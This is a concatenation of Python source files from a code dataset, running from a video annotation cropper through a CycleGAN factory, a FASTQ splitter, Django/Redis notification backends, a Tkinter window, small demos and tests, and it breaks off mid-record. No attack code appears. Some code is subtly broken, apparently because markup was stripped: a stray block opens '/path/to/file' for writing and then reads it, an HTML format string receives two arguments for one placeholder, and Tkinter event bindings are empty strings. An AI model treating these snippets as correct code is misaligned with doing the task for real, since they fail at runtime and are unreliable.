loaded by cv\n abs_filename = VIDEO_DIR + filename\n if not os.path.isfile(abs_filename):\n raise Exception(\"cannot found %s in current filesystem\" %abs_filename)\n\n video_cap = cv2.VideoCapture(abs_filename)\n fps = video_cap.get(cv2.CAP_PROP_FPS)\n video_size = (int(video_cap.get(cv2.CAP_PROP_FRAME_WIDTH)), int(video_cap.get(cv2.CAP_PROP_FRAME_HEIGHT))) \n print(abs_filename + '.txt')\n with open(abs_filename + '.txt', 'w') as f:\n for record in json_result:\n hero_time = int(round(record.time * 1000))\n hero_frame = int(round(record.time * fps))\n\n f.write('%s,%s,%s,%s,%s,%s\\n' %( record.hero_name, str(hero_frame), str(record.x), str(record.y), str(record.w), str(record.h) ) )\n continue\n\n video_cap.set(cv2.CAP_PROP_POS_FRAMES, hero_frame)\n\n got_frame, frame = video_cap.read()\n if not got_frame:\n raise Exception(\"Error: get frame failed!\")\n\n # cut the desired area\n crop_img = frame[record.y : (record.y + record.h), record.x : (record.x + record.w)]\n crop_path = './annotation_output/%s/%s/' %(os.path.basename(filename).encode('utf-8').strip(), record.hero_name)\n if not os.path.exists(crop_path):\n os.makedirs(crop_path)\n\n with open('/path/to/file', 'w') as f:\n print(f.read())\n\n crop_fname = \"%s_%s_%s_%s_%s.jpg\" %(str(hero_time), str(record.x), str(record.y), str(record.w), str(record.h))\n print(\"Writing image \" + crop_path + crop_fname)\n cv2.imwrite(crop_path + crop_fname, crop_img)\n\nif __name__ == \"__main__\":\n raw_sql_result = fetchLabelJsonFromSqlite3()\n for (filename, json_str) in raw_sql_result:\n json_result = parseJson(json_str)\n #filename is /static/vidoes/wzry1.mp4\n generateLabelImgs(filename, json_result)\n\n","sub_path":"annotation_verify.py","file_name":"annotation_verify.py","file_ext":"py","file_size_in_byte":3921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"611219162","text":"import numpy as np\r\nimport tensorflow as tf\r\nimport os\r\nfrom datetime import datetime\r\n\r\nfrom VRC.cyclegan import CycleGAN\r\nfrom VRC.console_summary import ConsoleSummary\r\nimport VRC.log as log\r\n\r\nclass CycleGANFactory():\r\n def __init__(self, model):\r\n self._model = model\r\n self._processor = ''\r\n self._tpu = False\r\n self._cycle_weight = 100.0\r\n\r\n self._input_a = None\r\n self._input_b = None\r\n self._checkpoint = None\r\n self._optimizer = {\r\n \"kind\": tf.train.GradientDescentOptimizer,\r\n \"rate\": 4e-6,\r\n \"params\": {}\r\n }\r\n self._summaries = []\r\n self._test = []\r\n\r\n def summary(self, summary):\r\n self._summaries.append(summary)\r\n return self\r\n \r\n def hardware(self, hardware):\r\n params = hardware.split(',')\r\n self._tpu = False\r\n if 'tpu' in params:\r\n if not 'COLAB_TPU_ADDR' in os.environ:\r\n log.w('Failed to get tpu address, do not use TPU (use for CPU or GPU)')\r\n else:\r\n self._processor = 'grpc://' + os.environ['COLAB_TPU_ADDR']\r\n self._tpu = True\r\n log.d('use TPU')\r\n log.d(\"aaa\")\r\n\r\n return self\r\n\r\n def input(self, A, B):\r\n self._input_a = A\r\n self._input_b = B\r\n\r\n return self\r\n\r\n def test(self, callback, append=False):\r\n self._test.append(callback)\r\n \r\n return self\r\n\r\n def checkpoint(self, checkpoint_dir):\r\n if checkpoint_dir.startswith(\"gs://\"):\r\n dir = checkpoint_dir + \"/\" + self._model.name + \"_\" + self._model.version\r\n checkpoint_file = dir + \"/\" + datetime.now().strftime('%Y-%m-%d_%H%M%S') + \".ckpt\"\r\n else:\r\n dir = os.path.join(checkpoint_dir, self._model.name + \"_\" + self._model.version)\r\n checkpoint_file = os.path.join(dir, datetime.now().strftime('%Y-%m-%d_%H%M%S') + \".ckpt\")\r\n os.makedirs(dir, exist_ok=True)\r\n\r\n self._checkpoint = checkpoint_file\r\n \r\n return self\r\n \r\n def cycle_weight(self, weight):\r\n self._cycle_weight = weight\r\n return self\r\n\r\n def optimizer(self, kind, rate, params={}):\r\n optimizer_list = {\r\n \"GradientDescent\": tf.train.GradientDescentOptimizer,\r\n \"Adam\": tf.train.AdamOptimizer,\r\n }\r\n if kind in optimizer_list:\r\n self._optimizer[\"kind\"] = optimizer_list[kind]\r\n else:\r\n raise Exception(\"Unknown optimizer %s\" % kind)\r\n\r\n if rate > 0:\r\n self._optimizer[\"rate\"] = rate\r\n else:\r\n raise Exception(\"Should larger than 0 training rate\")\r\n\r\n if type(params) is dict:\r\n self._optimizer[\"params\"] = params\r\n else:\r\n raise Exception(\"Additional optional params of optimizer should be dict object\")\r\n\r\n return self\r\n \r\n def build(self):\r\n if self._input_a is None or self._input_b is None:\r\n raise Exception(\"No defined input data\")\r\n if not self.checkpoint:\r\n log.w('checkpoint is undefined, trained model is no save')\r\n\r\n def generate_optimizer():\r\n optimizer = self._optimizer[\"kind\"](self._optimizer[\"rate\"], **self._optimizer[\"params\"])\r\n # if use_tpu:\r\n # optimizer = tf.contrib.tpu.CrossShardOptimizer(optimizer)\r\n return optimizer\r\n\r\n net = CycleGAN(self._model, self._input_a, self._input_b,\r\n cycle_weight=self._cycle_weight,\r\n processor=self._processor,\r\n generate_optimizer=generate_optimizer,\r\n use_tpu=self._tpu)\r\n\r\n # register summary\r\n for summary in self._summaries[-1:]: # ラストひとつだけやる。たくさんやるのは未実装\r\n writer = None\r\n if summary == \"tensorboard\":\r\n writer = tf.summary.FileWriter(\r\n os.path.join(\"logs\", net.name), net.session.graph)\r\n elif summary == \"console\":\r\n writer = ConsoleSummary('./training_value.jsond')\r\n\r\n def update_summary(net, epoch, iteration, period):\r\n tb_result = net.session.run(\r\n net.loss.display,\r\n feed_dict={\r\n net.input.A: self._input_a[0:self._model.batch_size],\r\n net.input.B: self._input_b[0:self._model.batch_size],\r\n net.time: np.zeros([1])\r\n })\r\n log.i(\"finish epoch %04d : iterations %d in %f seconds\" %\r\n (epoch, iteration, period))\r\n writer.add_summary(tb_result, iteration)\r\n\r\n net.callback_every_epoch[\"summary\"] = update_summary\r\n\r\n # add checkpoint\r\n # save\r\n # register test\r\n for test in self._test[-1:]: # ラストひとつだけやる。たくさんやるのは未実装\r\n net.callback_every_epoch[\"test\"] = test\r\n \r\n # load\r\n if self._checkpoint:\r\n def save_checkpoint(net, epoch, iteration, period):\r\n net.save(self._checkpoint, global_step=iteration)\r\n\r\n net.callback_every_epoch[\"save\"] = save_checkpoint\r\n\r\n net.load(os.path.dirname(self._checkpoint))\r\n\r\n return net\r\n","sub_path":"VRC/cyclegan_factory.py","file_name":"cyclegan_factory.py","file_ext":"py","file_size_in_byte":5396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"433793245","text":"'''\nsplit fastq into k files\n\nusage:\n python split_fastq.py in.fsq 3\n\ncreates 3 files:\n in.fsq.1\n in.fsq.2\n in.fsq.3\n \n'''\n\nimport itertools, os.path, sys\nfrom util import *\n\nfst_fn = sys.argv[1]\nk = int(sys.argv[2])\n\nfns = ['%s.%d' %(fst_fn, i) for i in range(k)]\n\nfor fn in fns:\n if os.path.exists(fn):\n exit('file %s exists' %(fn))\n\nfhs = cycle([open(fn, 'w') for fn in fns])\n\nfor entry in iter_fsq(fst_fn):\n fh = fhs.next()\n fh.write('%s\\n' %('\\n'.join(entry)))","sub_path":"fastq_split.py","file_name":"fastq_split.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"650138879","text":"import datetime\nimport time\n\nfrom django.utils import simplejson\nfrom django.core.mail import send_mail\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.utils.translation import trans_real\n\nfrom redis import Redis\nfrom subscription.models import Subscription\n\nfrom settings import *\nfrom exceptions import *\n\nclass BaseBackend(object):\n def emit(self, text, subscribers_of=None, dont_send_to=None, queue=None,\n send_only_to=None, actor=None, context=None, **kwargs):\n\n if context is None:\n context = {}\n\n if send_only_to and not subscribers_of:\n for recipient in send_only_to:\n self.user_emit(recipient,\n self.user_render(actor, text, recipient, context, kwargs),\n context, kwargs, queue)\n\n return\n\n self.content_type = ContentType.objects.get_for_model(subscribers_of)\n subscription_kwargs = {'content_type': self.content_type, 'object_id': subscribers_of.pk}\n if send_only_to:\n subscription_kwargs.update({'user__in': send_only_to})\n\n for i in Subscription.objects.filter(**subscription_kwargs):\n if i.user in (dont_send_to or []):\n continue\n\n if send_only_to and i.user not in send_only_to:\n continue\n\n user_text = self.user_render(actor, text, i.user, context, kwargs)\n self.user_emit(i.user, user_text, context, kwargs, queue)\n\n def user_render(self, actor, text, user, context, kwargs):\n context = self.process_user_context(actor, text, user, context, kwargs)\n t = self.get_user_translation(user)\n if t:\n text = t.gettext(text) % context\n else:\n text = text % context\n return text\n\n def user_emit(self, user, text, context, kwargs=None,\n queue='default', state=NOTIFICATION_STATES[0]):\n raise NotImplementedError(\"Override this!\")\n\n def process_user_context(self, actor, text, user, context, kwargs):\n \"\"\"\n Implement your own context processor here, it's used by user_render\n \"\"\"\n return context\n\nclass TranslationBackend(object):\n def get_user_language_code(self, user):\n \"\"\"\n Override to get the language from the user's profile if you want.\n \"\"\"\n return LANGUAGE_CODE\n\n def get_user_translation(self, user):\n \"\"\"\n Convenience method which you probably do not want to override\n \"\"\"\n if USE_I18N:\n return trans_real.translation(self.get_user_language_code(user))\n else:\n return None\n\nclass PinaxBackend(object):\n \"\"\"\n Implementation of get_user_language code for pinax.apps.account\n \"\"\"\n def get_user_language_code(self, user):\n account = user.account_set.all()[0]\n return account.language\n\nclass HtmlBackend(object):\n \"\"\"\n HTML implementation of 'actor' rendering.\n \"\"\"\n def process_user_context(self, actor, text, user, context, kwargs):\n \"\"\"\n If 'actor' is not already in context:\n - if actor is the user:\n - if translation: translated 'yo'\n - else: just 'yo'\n - else: a link to the actor using actor.get_absolute_url\n \"\"\"\n if 'actor' not in context.keys():\n t = self.get_user_translation(user)\n if user == actor:\n if hasattr(self, 'actor_display_self'):\n context['actor'] = self.actor_display_self\n\n if t:\n context['actor'] = t.gettext('Yo')\n else:\n context['actor'] = 'Yo'\n else:\n if hasattr(self, 'actor_display_other'):\n context['actor'] = self.actor_display_other\n else:\n context['actor'] = '%s' % (\n actor.get_absolute_url(),\n actor.username,\n )\n\n return context\n\nclass RedisBackend(object):\n def __init__(self, prefix='subscription'):\n self.prefix = prefix\n\n @property\n def redis(self):\n if not hasattr(self, '_redis'):\n self._redis = Redis()\n return self._redis\n\n def get_key(self, user, state, queue='default'):\n if hasattr(user, 'pk'):\n user = user.pk\n\n return '%s::%s::%s::%s' % (\n self.prefix,\n user,\n state, \n queue,\n )\n\n def get_timestamps_key(self, user, queue='default'):\n if hasattr(user, 'pk'):\n user = user.pk\n\n return '%s::timestamps::%s::%s' % (self.prefix, user, queue)\n\n def push_state(self, user, \n state=NOTIFICATION_STATES[0], queue=NOTIFICATION_QUEUES[0]):\n \"\"\"\n Upgrade the state of a user's notification. For example, if \n 'undelivered' is above 'unacknowledged', then pushing all\n notifications from 'undelivered' to 'unacknowledged'::\n\n backend.push_state(user, 'undelivered')\n\n By default, states will be a list containing only the first state in\n settings.SUBSCRIPTION_NOTIFICATION_STATES.\n\n Note that this function is not totally safe. If the server \n crashes between the copy and the delete then duplicate notifications\n will result.\n \"\"\"\n next_state_key = NOTIFICATION_STATES.index(state) + 1\n\n if next_state_key + 1 > len(NOTIFICATION_STATES):\n raise CannotPushLastState(state, NOTIFICATION_STATES)\n \n next_state = NOTIFICATION_STATES[next_state_key]\n\n notifications = self.redis.lrange(\n self.get_key(user, state, queue), 0, -1)\n\n for notification in notifications:\n self.redis.lpush(\n self.get_key(user, next_state, queue), notification)\n self.redis.lrem(self.get_key(user, state, queue), notification)\n\n def get_last_notifications(self, user, queues=NOTIFICATION_QUEUES, \n queue_limit=-1, states=[NOTIFICATION_STATES[0]], minimal=False, \n reverse=False, push=[NOTIFICATION_STATES[0]]):\n\n if queue_limit > 0:\n redis_queue_limit = queue_limit - 1\n else:\n redis_queue_limit = queue_limit\n\n result = {}\n for queue in queues:\n for state in states:\n if queue_limit > 0 and queue in result.keys():\n if len(result[queue]['notifications']) >= queue_limit:\n # enought for this queue\n break\n\n serialized_notifications = self.redis.lrange(\n self.get_key(user, state, queue), 0, redis_queue_limit)\n\n if queue not in result.keys():\n result[queue] = {}\n result[queue]['notifications'] = []\n\n for serialized_notification in serialized_notifications:\n notification = self.unserialize(serialized_notification, minimal)\n notification['initial_state'] = state\n result[queue]['notifications'].append(notification)\n\n if queue_limit > 0:\n if len(result[queue]['notifications']) >= queue_limit:\n # enought for this queue\n break\n\n if reverse:\n result[queue]['notifications'].reverse()\n\n for queue in queues:\n result[queue]['counts'] = {\n 'total': 0,\n }\n\n for s in NOTIFICATION_STATES:\n length = self.redis.llen(self.get_key(user, s, queue))\n result[queue]['counts'][s] = length\n result[queue]['counts']['total'] += length\n\n if push:\n for state in push:\n self.push_state(user, state, queue)\n\n return result\n\n def get_all_notifications(self, user, states=NOTIFICATION_STATES, \n queues=NOTIFICATION_QUEUES, order_by='timestamp', \n push=[NOTIFICATION_STATES[0], NOTIFICATION_STATES[1]]):\n\n result = []\n for state in states:\n for queue in queues:\n serialized_notifications = self.redis.lrange(self.get_key(user, state, queue), 0, -1)\n for notification in serialized_notifications:\n notification = self.unserialize(notification)\n notification['initial_state'] = state\n notification['queue'] = queue\n result.append(notification)\n\n if order_by:\n result = sorted(result, key=lambda x: x[order_by])\n \n if push:\n for state in push:\n for queue in queues:\n self.push_state(user, state, queue)\n\n return result\n \n def user_emit(self, user, text, context=None, kwargs=None, \n queue='default', state=NOTIFICATION_STATES[0]):\n context = context or {}\n\n if 'timestamp' not in kwargs:\n timestamp = time.mktime(datetime.datetime.now().timetuple())\n else:\n timestamp = kwargs['timestamp']\n\n timestamps = self.redis.lrange(\n self.get_timestamps_key(user, queue), 0, -1)\n\n while str(timestamp) in timestamps:\n timestamp += 1\n\n timestamp = int(timestamp)\n\n kwargs['timestamp'] = timestamp\n notification = self.serialize(user, text, context, kwargs)\n\n self.redis.lpush(self.get_timestamps_key(user, queue), timestamp)\n self.redis.lpush(self.get_key(user, state, queue), notification)\n\n def serialize(self, user, text, context, kwargs):\n kwargs['text'] = text\n return simplejson.dumps(kwargs)\n\n def unserialize(self, data, minimal=False):\n data = simplejson.loads(data)\n if not minimal:\n if 'timestamp' in data.keys():\n data['datetime'] = datetime.datetime.fromtimestamp(\n data['timestamp'])\n return data\n\nclass AppIntegrationBackend(object):\n def get_user_object_url(self, user, obj):\n return obj.get_absolute_url()\n\n def process_user_context(self, actor, text, user, context, kwargs):\n context = super(AppIntegrationBackend, self).process_user_context(\n actor, text, user, context, kwargs)\n t = self.get_user_translation(user)\n l = self.get_user_language_code(user)\n\n target_html = '%(name)s'\n target_context = {}\n\n if 'comment' in context.keys():\n content = context['comment'].content_object\n\n target_context['url'] = self.get_user_object_url(user, content)\n\n attr = 'name_%s' % l\n if hasattr(content, attr):\n target_context['name'] = getattr(content, attr)\n elif content.__class__.__name__ == 'Action':\n if content.actor == user:\n target_context['name'] = t.gettext('your action')\n else:\n target_context['name'] = '%s\\'s action' % actor.username\n elif content.__class__.__name__ == 'User':\n if content == user:\n target_context['name'] = t.gettext('your status')\n else:\n target_context['name'] = '%s\\'s status' % actor.username\n\n context['target'] = target_html % target_context\n return context\n\nclass SiteBackend(AppIntegrationBackend, TranslationBackend, PinaxBackend, \n HtmlBackend, RedisBackend, BaseBackend):\n pass\n\ntry:\n # monkey patch localeurl support .. which we'll get rid of with django 1.4\n from localeurl.utils import locale_url, strip_path\n def user_object_localeurl(self, user, obj):\n l = self.get_user_language_code(user)\n url = locale_url(strip_path(obj.get_absolute_url())[1], l)\n return url\n AppIntegrationBackend.get_user_object_url = user_object_localeurl\nexcept ImportError:\n pass\n","sub_path":"subscription/examples/yourlabs/backends.py","file_name":"backends.py","file_ext":"py","file_size_in_byte":12054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"61412560","text":"from tkinter import*\nfrom Data.Variables import *\nfrom GUI.GuiCanvas import *\n\nroot = Tk()\n# turns off title bar\nroot.overrideredirect(True)\n\n# set taskbar icon\nroot.iconbitmap(logo)\n\nscreen_size = \"{}x{}\".format(work_area[2], work_area[3])\n\n# set new geometry\nroot.geometry(screen_size + '+0+0')\n\n\ndef mini_screen(event):\n root.overrideredirect(False)\n add_log(log_types[2], \"GuiMain.py\", \"mini_screen : \" + str(event))\n root.iconify()\n\n\ndef max_screen(event):\n add_log(log_types[2], \"GuiMain.py\", \"max_screen : \" + str(event))\n root.overrideredirect(True)\n\n\n# make a frame for the title bar\ntitle_bar = Frame(root,\n bg=title_bar_bg,\n relief='raised',\n bd=0\n )\n\n# put a close button on the title bar\nclose_button = Button(title_bar,\n text='x',\n command=root.destroy,\n bg=title_bar_bg,\n padx=5,\n pady=2,\n activebackground=close_but_acc_bg,\n bd=0,\n font=\"bold\",\n fg=title_bar_but_txt_color,\n activeforeground=title_bar_but_txt_color,\n highlightthickness=0\n )\n# minimuice button\nmini_button = Button(title_bar,\n text='-',\n bg=title_bar_bg,\n padx=5,\n pady=2,\n activebackground=mini_but_acc_bg,\n bd=0,\n font=\"bold\",\n fg=title_bar_but_txt_color,\n activeforeground=title_bar_but_txt_color,\n highlightthickness=0\n )\n\n# window title\ntitle_name = Label(title_bar, text=title_bar_txt, bg=title_bar_bg, fg=title_bar_txt_color, font=\"bold\")\n\n# title bar img\nimg = Image.open(logo)\nnew_img_w, new_img_h = img.size\nnew_img_w *= acc_ra * logo_div\nnew_img_h *= acc_ra * logo_div\nimg = img.resize((round(new_img_w), round(new_img_h)))\ntitle_img = ImageTk.PhotoImage(img)\n# title_img = ImageTk.PhotoImage(Image.open(logo))\ntitle_img_set = Label(title_bar, image=title_img, bg=title_bar_bg, )\n\n# a canvas for the main area of the window\nwindow = create_full_show_window(root)\n\n# pack the widgets\ntitle_bar.pack(fill=X)\ntitle_img_set.pack(side=LEFT)\ntitle_name.pack(side=LEFT)\nclose_button.pack(side=RIGHT)\nmini_button.pack(side=RIGHT)\nwindow.pack(expand=1, fill=BOTH)\nx_axis = None\ny_axis = None\n\n\n# bind title bar motion to the move window function\n\n\ndef move_window(event):\n add_log(log_types[2], \"GuiMain.py\", \"Move Window : \" + str(event))\n root.geometry('+{0}+{1}'.format(event.x_root, event.y_root))\n\n\ndef close_btn_on_hovering(event):\n global close_button\n add_log(log_types[2], \"GuiMain.py\", \"close_btn_on_hovering : \" + str(event))\n close_button['bg'] = close_but_acc_bg\n\n\ndef mini_btn_on_hovering(event):\n global mini_button\n add_log(log_types[2], \"GuiMain.py\", \"mini_btn_on_hovering : \" + str(event))\n mini_button['bg'] = mini_but_acc_bg\n\n\ndef return_to_normal_state(event):\n global close_button\n global mini_button\n add_log(log_types[2], \"GuiMain.py\", \"return_to_normal_state : \" + str(event))\n close_button['bg'] = title_bar_bg\n mini_button['bg'] = title_bar_bg\n\n\n# action bind\n# title_bar.bind('', move_window)\nclose_button.bind('', close_btn_on_hovering)\nclose_button.bind('', return_to_normal_state)\nmini_button.bind('', mini_btn_on_hovering)\nmini_button.bind('', return_to_normal_state)\ntitle_bar.bind('', max_screen)\nmini_button.bind('', mini_screen)\nroot.mainloop()\n\n","sub_path":"GUI/FundamentalIssueGUI.py","file_name":"FundamentalIssueGUI.py","file_ext":"py","file_size_in_byte":3715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"193355286","text":"from itertools import cycle\nimport random\nimport time\n\ntraffic_light = ['Red', 'Amber', 'Green']\n\n\ndef rand_timer():\n return random.randint(3, 7)\n\n\ndef traffic():\n colors = cycle(traffic_light)\n\n for color in colors:\n if color == 'Red':\n print(f'Stop! The light is {color}')\n time.sleep(rand_timer())\n elif color == 'Amber':\n print(f'Cautious! The light is {color}')\n time.sleep(rand_timer())\n else:\n print(f'Go! The light is {color}')\n time.sleep(rand_timer())\n\n\ntraffic()\n","sub_path":"src/Week3/Days19_21/traffic_lights.py","file_name":"traffic_lights.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"289804648","text":"# Copyright 2017 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Tests for the experimental input pipeline ops.\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom tensorflow.contrib.data.python.ops import get_single_element\nfrom tensorflow.python.data.ops import dataset_ops\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import errors\nfrom tensorflow.python.framework import sparse_tensor\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.platform import test\n\n\nclass GetSingleElementTest(test.TestCase):\n\n def testGetSingleElement(self):\n skip_value = array_ops.placeholder(dtypes.int64, shape=[])\n take_value = array_ops.placeholder_with_default(\n constant_op.constant(1, dtype=dtypes.int64), shape=[])\n\n def make_sparse(x):\n x_1d = array_ops.reshape(x, [1])\n x_2d = array_ops.reshape(x, [1, 1])\n return sparse_tensor.SparseTensor(x_2d, x_1d, x_1d)\n\n dataset = (dataset_ops.Dataset.range(100)\n .skip(skip_value)\n .map(lambda x: (x * x, make_sparse(x)))\n .take(take_value))\n\n element = get_single_element.get_single_element(dataset)\n\n with self.test_session() as sess:\n for x in [0, 5, 10]:\n dense_val, sparse_val = sess.run(element, feed_dict={skip_value: x})\n self.assertEqual(x * x, dense_val)\n self.assertAllEqual([[x]], sparse_val.indices)\n self.assertAllEqual([x], sparse_val.values)\n self.assertAllEqual([x], sparse_val.dense_shape)\n\n with self.assertRaisesRegexp(errors.InvalidArgumentError,\n \"Dataset was empty.\"):\n sess.run(element, feed_dict={skip_value: 100})\n\n with self.assertRaisesRegexp(errors.InvalidArgumentError,\n \"Dataset had more than one element.\"):\n sess.run(element, feed_dict={skip_value: 0, take_value: 2})\n\n\nif __name__ == \"__main__\":\n test.main()\n","sub_path":"tensorflow/tensorflow/contrib/data/python/kernel_tests/get_single_element_test.py","file_name":"get_single_element_test.py","file_ext":"py","file_size_in_byte":2689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"158028895","text":"# Copyright 2017 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"API for Image Classification tasks.\"\"\"\n\nfrom aiy.vision.inference import ModelDescriptor\nfrom aiy.vision.models import utils\nfrom aiy.vision.models.image_classification_classes import CLASSES\n\n\n_COMPUTE_GRAPH_NAME = 'mobilenet_v1_160res_0.5_imagenet.binaryproto'\n\n\ndef model():\n return ModelDescriptor(\n name='image_classification',\n input_shape=(1, 160, 160, 3),\n input_normalizer=(128.0, 128.0),\n compute_graph=utils.load_compute_graph(_COMPUTE_GRAPH_NAME))\n\n\ndef get_classes(result, top_k=3):\n \"\"\"Analyzes and reports what objects are in the given image.\n\n Args:\n result: dict of tensors, inference result\n top_k: int, returns top_k objects in the image.\n\n Returns:\n A list of (string, float) tuple, represents object, prob(object) reversely\n ordered by prob(object).\n \"\"\"\n assert len(result.tensors) == 1\n tensor = result.tensors['MobilenetV1/Predictions/Softmax']\n probs, shape = tensor.data, tensor.shape\n assert (shape.batch, shape.height, shape.width, shape.depth) == (1, 1, 1,\n 1001)\n pairs = sorted(enumerate(probs), key=lambda pair: pair[1], reverse=True)\n return [('/'.join(CLASSES[index]), prob) for index, prob in pairs[0:top_k]]\n","sub_path":"src/aiy/vision/models/image_classification.py","file_name":"image_classification.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"336349284","text":"\"\"\"Tests for the fly_zone module.\"\"\"\n\nimport datetime\nfrom auvsi_suas.models.aerial_position import AerialPosition\nfrom auvsi_suas.models.fly_zone import FlyZone\nfrom auvsi_suas.models.uas_telemetry import UasTelemetry\nfrom auvsi_suas.models.waypoint import Waypoint\nfrom django.contrib.auth.models import User\nfrom django.test import TestCase\nfrom django.utils import timezone\n\nTESTDATA_FLYZONE_CONTAINSPOS = [\n # Check can't be inside polygon defined by 1 point\n {\n 'min_alt': 0,\n 'max_alt': 100,\n 'waypoints': [(0, 0)],\n 'inside_pos': [],\n 'outside_pos': [\n (0, 0, 0),\n (0, 0, 100),\n (100, 100, 0),\n ]\n },\n # Check can't be inside polygon defined by 2 points\n {\n 'min_alt': 0,\n 'max_alt': 100,\n 'waypoints': [\n (0, 0),\n (100, 0),\n ],\n 'inside_pos': [],\n 'outside_pos': [\n (0, 0, 0),\n (0, 0, 100),\n (100, 0, 0),\n (100, 0, 100),\n ]\n },\n # Check polygon of 4 points\n {\n 'min_alt':\n 0,\n 'max_alt':\n 100,\n 'waypoints': [\n (0, 0),\n (100, 0),\n (100, 100),\n (0, 100),\n ],\n 'inside_pos': [\n (0.1, 0.1, 0),\n (0.1, 0.1, 100),\n (99.9, 0.1, 0),\n (99.9, 0.1, 100),\n (99.9, 99.9, 0),\n (99.9, 99.9, 100),\n (0.1, 99.9, 0),\n (0.1, 99.9, 100),\n (50, 50, 0),\n (50, 50, 50),\n (50, 50, 100),\n ],\n 'outside_pos': [\n (0, 0, -1),\n (0, 0, 101),\n (50, 50, -1),\n (50, 50, 101),\n (100, 100, -1),\n (100, 100, 101),\n (-1, 0, 50),\n (0, -1, 50),\n (-1, -1, 50),\n (101, 0, 50),\n (0, 101, 50),\n (101, 101, 50),\n ]\n },\n # Check polygon of 3 points\n {\n 'min_alt':\n 100,\n 'max_alt':\n 750,\n 'waypoints': [\n (0, 0),\n (100, 0),\n (50, 100),\n ],\n 'inside_pos': [\n (0.1, 0.1, 100),\n (0.1, 0.1, 750),\n (99.9, 0.1, 100),\n (99.9, 0.1, 750),\n (50, 99.9, 100),\n (50, 99.9, 750),\n (25, 25, 100),\n (25, 25, 750),\n (1, 0.1, 100),\n (1, 0.1, 750),\n (99, 0.1, 100),\n (99, 0.1, 750),\n (50, 99, 100),\n (50, 99, 750),\n ],\n 'outside_pos': [\n (25, 25, 99),\n (25, 25, 751),\n (-1, 0, 200),\n (0, -1, 200),\n (101, 0, 200),\n (51, 100, 200),\n (50, 101, 200),\n ]\n }\n]\n\n# ((alt_min, alt_max, [fly_zone_waypoints]),\n# [(uas_num_boundary_violations, uas_out_bounds_time, [uas_logs])])\nTESTDATA_FLYZONE_EVALBOUNDS = (\n [(0, 100, [(38, -76), (39, -76), (39, -77), (38, -77)]),\n (100, 700, [(38, -76), (39, -76), (39, -77), (38, -77)])\n ],\n [(0,\n 0.0,\n [(38.5, -76.5, 50, 0), (38.5, -76.5, 50, 10.0)]),\n (1,\n 10.0,\n [(38.5, -76.5, 50, 0), (40, -76.5, 50, 10.0)]),\n (1,\n 20.0,\n [(38.5, -76.5, 50, 0), (40, -76.5, 50, 10.0), (41, -76.5, 50, 20.0)]),\n (3,\n 30.0,\n [(38.5, -76.5, 50, 0),\n (40, -76, 50, 10.0),\n (38.5, -76.5, 100, 20.0),\n (38.5, -76.5, 800, 30.0),\n (38.5, -76.5, 600, 40.0),\n (38.5, -78, 100, 50.0)]),\n (1,\n 12.5,\n [(38.5, -76.5, 700, 0),\n (38.5, -76.5, 750, 2.5),\n (38.5, -76.5, 700, 5),\n (38.5, -76.5, 650, 6),\n (38.5, -76.5, 800, 7.5),\n (38.5, -76.5, 800, 10.0),\n (38.5, -76.5, 800, 12.5),\n (38.5, -76.5, 650, 15)]),\n (2,\n 15,\n [(38.5, -76.5, 700, 0),\n (38.5, -76.5, 800, 10.0),\n (38.5, -76.5, 700, 20.0),\n (38.5, -76.5, 750, 25.0)]),\n (1,\n 10,\n [(38.5, -76.5, 700, 0),\n (38.5, -76.5, 800, 5),\n (38.5, -76.5, 700, 10),\n (38.5, -76.5, 500, 20)])\n ]\n) # yapf: disable\n\n\nclass TestFlyZone(TestCase):\n \"\"\"Tests the FlyZone class.\"\"\"\n def setUp(self):\n \"\"\"Creates test data.\"\"\"\n # Form test set for contains position\n self.testdata_containspos = []\n for test_data in TESTDATA_FLYZONE_CONTAINSPOS:\n # Create the FlyZone\n zone = FlyZone()\n zone.altitude_msl_min = test_data['min_alt']\n zone.altitude_msl_max = test_data['max_alt']\n zone.save()\n for waypoint_id in range(len(test_data['waypoints'])):\n (lat, lon) = test_data['waypoints'][waypoint_id]\n wpt = Waypoint()\n wpt.order = waypoint_id\n wpt.latitude = lat\n wpt.longitude = lon\n wpt.altitude_msl = 0\n wpt.save()\n zone.boundary_pts.add(wpt)\n # Form test set\n test_pos = []\n for pos in test_data['inside_pos']:\n test_pos.append((pos, True))\n for pos in test_data['outside_pos']:\n test_pos.append((pos, False))\n # Store\n self.testdata_containspos.append((zone, test_pos))\n\n def test_clean(self):\n \"\"\"Tests model validation.\"\"\"\n for (zone, _) in 